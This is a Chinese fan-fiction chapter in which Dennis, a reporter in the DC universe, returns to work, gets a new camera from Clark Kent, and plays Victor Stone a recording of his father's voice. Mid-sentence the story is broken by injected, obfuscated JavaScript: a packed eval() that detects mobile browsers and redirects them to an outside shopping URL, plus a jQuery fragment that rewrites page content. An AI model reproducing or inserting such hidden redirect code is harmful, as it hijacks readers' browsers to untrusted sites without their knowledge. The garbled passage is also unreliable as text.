“很高兴再见到你丹尼斯。”克拉克对着回到岗位的丹尼斯打招呼，“你怎么了？看上去像是生病了，还没恢复好的话要不要多请几天病假？”
丹尼斯现在的状态像是死了三天之后被人从坟墓里挖了出来，他面颊凹陷，脸上挂着十分瞩目的黑眼圈，应该是刚被挖出来还没来得及吃人补充营养。
“不，谢谢你。”丹尼斯坐回自己的位置，一脸死气地打开电脑，“我只是明白了不要在半夜思考哲学问题。”
丹尼斯的作息一直很规律，直到前天梦见妈妈，总之就像是所有苦情小说里那样，丹尼斯失眠了。
他已经快四十八小时没有睡眠了。
“听上去很深奥。”克拉克如此评价。
丹尼斯：“但是没有什么比我的工资更深奥了，我已经恢复好了，非常感谢你的关心。”
“你已经说了两个谢谢了，朋友之间不是这样的。”
丹尼斯：“我很抱歉。”
克拉克：“其实抱歉也不是。”
在丹尼斯的社畜谴责视线之下，克拉克摊了摊手：“先不说这个了，我这里有三个好消息你想先听哪一个。”
“加工资的。”
“这个没有，丹尼斯你这么缺钱吗？”被噎住的克拉克不禁疑惑，他的眼睛扫过丹尼斯手上带着的手表和他身上的定制西装，以及丹尼斯放在书桌上价值连城的小摆件，“我一直以为你很有钱。”
“我只是舍得花钱，而且我的……”丹尼斯捂住额头，“我的相机也在之前的事故里不见了。”
“这就是第一个好消息！”克拉克激动的语气吓到了丹尼斯脆弱的神经。
任何失眠的人都不喜欢别人在自己身边发出太大的动静，只不过丹尼斯并没有指责克拉克，他只是看着克拉克像是仓鼠一样弯下身体，在办公桌里翻翻找找发出窸窸窣窣的声音，最后从克拉克的位置底下掏出了一个全新的相机，并高举着。
一个很贵的，很贵的相机。
丹尼斯的目光在克拉克笑眯眯的脸与全新相机之间来回扫视。
大都会也有私人工作赚小费吗？对于同事的私生活丹尼斯目前没有探索的欲望，除非克拉克的小工作威胁到自己的生活。
至少到现在克拉克的表现一直很让丹尼斯满意。
“别这样看我，我听说你受了很重的伤，这是给你的补……补充福利！来自你最好的朋友，克拉克肯特。”
“我之前送过你一次礼物，还记得吗？”克拉克不等丹尼斯拒绝，就直接走上前把相机塞进了丹尼斯怀里，“我那时候送了个错误的礼物。”
可能是想到蝙蝠侠，克拉克忽然脸色一变，但很快他又调整回来：“我一直对于这个礼物感到愧疚，所以……丹尼斯，给我一个补偿的机会吧。”
克拉克使出了眼神攻击：“拜托。”
丹尼斯简直怀疑克拉克被掉包了，以前克拉克是这样的吗？怎么就这么几天不见，变得这么诡异。
就像是——布鲁斯韦恩一样。
“丹尼斯。”克拉克长呼一声唤回了丹尼斯的注意力。
“你真的是克拉克?”丹尼斯在思考机器人是否有克隆功能。
“我是克拉克。”
“……”丹尼斯叹口气，“那第二个好消息呢。”
“yes！”克拉克更开心了，“你还记得我们之前采访过的那个人吗？被□□打劫又被超人救了的人。”
“他怎么了？”
“最近英雄们建立了一个组织叫正义联盟，我相信这个你已经知道了，那位市民说想把之前对超人的评价全部推翻，他希望能再接受一次采访！”
“他因为正义联盟变成了超人的粉丝吗？”
丹尼斯懂了，克拉克这是因为遇到了同好而感到兴奋：“这听上去确实不错，如果卢瑟愿意的话。”
“第三个好消息是什么？”
“我预约了一个餐厅。”克拉克说，“你会吃到最伟大的记者克拉克，给你点的最美味的饭。”
克拉克还记得这个。
丹尼斯轻笑出声：“我的荣幸。”
丹尼斯承认自己被克拉克安慰到了，他的思绪也慢慢清晰起来。
丹尼斯从参加过大战的兴奋状态中抽离了，重新回到了工作狂丹尼斯的状态：“我会帮你分担一些工作，比较死板无趣的工作可以推给我。”
丹尼斯把刘海捋到额头，一副干劲满满的样子：“为您效劳，肯特先生。”
克拉克也故意做出一副受宠若惊的样子，他学着丹尼斯的语气：“我的荣幸，杰拉德先生。”
今天的工作还算是顺利，丹尼斯复工的第一天，主编把他叫过去嘘寒问暖了一下，再三叮嘱丹尼斯要注意身体安全，以及最重要的是丹尼斯的医药费被韦恩先生付过了。
韦恩先生确实是个很好的人，不然蝙蝠侠也不会和他合作，这次韦恩先生帮了自己……也算是自己欠了韦恩先生一个人情。
不知道韦恩先生最近睡得好吗？
“少爷，您该休息了，您要知道虽然您是蝙蝠，但也依然是需要睡眠的哺乳动物。”
“稍微等我一下，阿福。”
被丹尼斯评价为很好的人的布鲁斯韦恩，正坐在蝙蝠电脑前，看着丹尼斯的身体数据。
“他很危险？”罗宾出现在了布鲁斯的身后。
“你现在应该正在写作业，达米安。”布鲁斯将这些资料单独列出了一个文件夹。
“tt，他看上去很弱，是被羊嚼了之后吐出来的杂草。”达米安扫了一眼蝙蝠电脑上的立体丹尼斯，“新的超级反派？”
“不。”布鲁斯关上了电脑，“你该睡觉了。”
“你不能总关着我，父亲。”达米安给自己拖了个凳子坐。
“事实上，布鲁斯少爷说得对。”阿尔弗雷递给达米安一杯牛奶，“您明天还要去学校，记得吗？”
布鲁斯低头看了一眼自己震动的手机，他打开手机，便看见丹尼斯给自己发的消息。
【早安午安晚安】：韦恩先生，能麻烦您一件事吗？如果您能联系到维克多的话，能帮我转告他一句话吗？
【baby】：当然，很高兴你能联系我。
看见秒回的消息，丹尼斯轻轻挑眉。
他刚刚下班，按理说这个时间点应该是富豪们忙着交际的时间。
丹尼斯看了一眼拿在自己手里的相机，这不是克拉克送他的新相机，是自己原本的旧相机。
相机残破的身体上挂着一张纸条。
【你的相机我帮你送回来了，那张照片不要发布到任何报刊上。】
丹尼斯将纸条翻转，纸条的背后被歪歪扭扭写着一句话。
【照片超帅！我让维克多拷贝了一张：）】
这个相机是丹尼斯在自己房间的门口找到的。
很显然把相机放在这里的是维克多和比利，看样子自己的相机是掉在了实验室里。
维克多……
这是丹尼斯还剩下的一件事。
丹尼斯走进自己的房间，打开电脑，然后点进了一个隐藏的很深的特殊目录。
最终，在丹尼斯的寻觅之中，他惊喜地发现——自己和斯通先生那天在银行的聊天被成功录下来了。
这就是随身带着窃听器，录音笔的记者啊。
做得真好，丹尼斯。
丹尼斯夸奖自己。
和钢骨的见面时间约在了一天以后。
和克拉克的吃饭时间也在一天以后。
市民的二次采访也在一天以后。
丹尼斯在恍惚之间还以为自己把机器人入侵的那天再重新过了一遍。
“超人很厉害，至少我已经知道他绝对不会杀了我！”市民很激动，他拉着克拉克的肩膀大声喊道，“我看见超人出现在电视上的时候简直惊呆了，我以前从来没有觉得超人这么帅过！”
“他们守护了我的房子，我现在最喜欢超人了！”
克拉克手足无措，丹尼斯扯出一抹笑。
伴随着相机的咔嚓声，克拉克被热情市民抓着肩膀赞美超人图就此诞生。
今天和那天比还是有一点不一样的。
“他真热情。”克拉克和丹尼斯抱怨，“我这件衣服都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459232|201269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要被扯坏了。”
丹尼斯：“把脸上的笑容收一收吧，克拉克。”
“别这样。”克拉克心情很好，“这个笑容你晚上还会见到，很多很多次。”
“晚上见，克拉克。”
“晚上见，丹尼斯。”
冷风吹过丹尼斯的西装外套，吹乱了他的头发，这个七十二小时没睡的社畜准备赶去今天的下一场约会。
……
维克多坐在废弃篮球场的角落，现在的时间已经接近黄昏了，丹尼斯还没有来。
自从那次事故之后维克多就很少来到任何球场了，每次只要坐在这里他就会想到自己的最后一场比赛，那些当初让他热血沸腾的欢呼声，好像还在耳旁，一直没有散去。
“嘿，维克多。”一颗橄榄球冲着维克多的脑袋袭来，维克多反手把橄榄球抓住捏在手心。
“你来找我打球？”维克多扫视一圈，“在篮球场？”
丹尼斯眨眨眼，他双手插兜走到了维克多的身边坐下：“篮球场不行吗？我还以为只要是有场地就可以。”
“你知道的，我对球类不是很了解。”
维克多看了一眼丹尼斯身上板正的定制西装：“很明显，以后在外叫我钢骨。”
“这是我的代号。”
“挺好的，至少你不叫铁人侠。”丹尼斯开了个玩笑，“我不是很喜欢蝙蝠侠的名字，你的品味比蝙蝠要好。”
……
这不是一个好笑的玩笑，只有丹尼斯被自己逗笑了。
钢骨叹口气：“你这次是想和我说什么呢？”
橄榄球在钢骨的手里被晃来晃去。
“礼物。”丹尼斯把手从口袋里掏了出来，他手里拿着一个黑色的长条物体。
钢骨后退：“你想在我身上按窃听器？”
“我怎么会。”丹尼斯瞪大眼睛，“您要知道我一直很尊重个人隐私。”
这个笑话比上一个有进步，就在维克多这么想的时候，丹尼斯按响了录音笔。
【“如果可以的话，我希望你帮我的儿子拍一张照片，他表现总是很好，他值得被更多人看见。”】
……
这是维克多父亲的声音。
这段声音来的太晚了，维克多想，他应该在我还是人类的时候说给我听，在我赢得比赛的时候说给我听，在我问他为什么不来看我的时候说给我听。
而不是现在，现在只有钢骨听见了。
“先不要打我。”
丹尼斯面无表情站起身：“我这次不是来帮你父亲的。”
“我只是猜你可能会因为你父亲伤心，所以我把这个给你，我不知道这个对你是否有用，如果我冒犯到你了，那我非常抱歉。”
“至于你想不想联系你的父亲，这全看你——维克多。”
“不过我觉得你完全可以让那个不爱开口说话的老头子一直愧疚着。”
“我只是想告诉你。”见到维克多好像不这么激动了，丹尼斯又默默坐回维克多旁边，他和维克多隔着一段社交安全距离，丹尼斯的声音很飘，比大都会天空的云朵更加飘渺，“我们的人生都还很长。”
“你父亲是爱你的，但我觉得他是个……”丹尼斯拉长语调，他和维克多对视，然后维克多接上。
“混蛋。”
“对。”丹尼斯弯了弯眼角，“是个混蛋。”
“而你还很年轻，无论是作为钢骨的人生还是维克多的人生都还很长。”
“听着你好像很老一样。”维克多的嘴角多了点弧度。
“至少从社会工作经验来说，我一定是你的前辈的前辈。”丹尼斯把录音笔丢给维克多，维克多伸出手接住，然后将这个录音笔纳入了自己的钢铁盔甲之中。
“我就说这么多。”丹尼斯要离开了，在离开之前他对着维克多说道，“不过在拯救世界这方面你算是我的前辈，很勇敢，维克多。”
丹尼斯还没往前走几步，就听见维克多对着自己喊道。
“你应该没有偷偷往我身上装窃听器吧！”
“谁知道呢。”
丹尼斯回。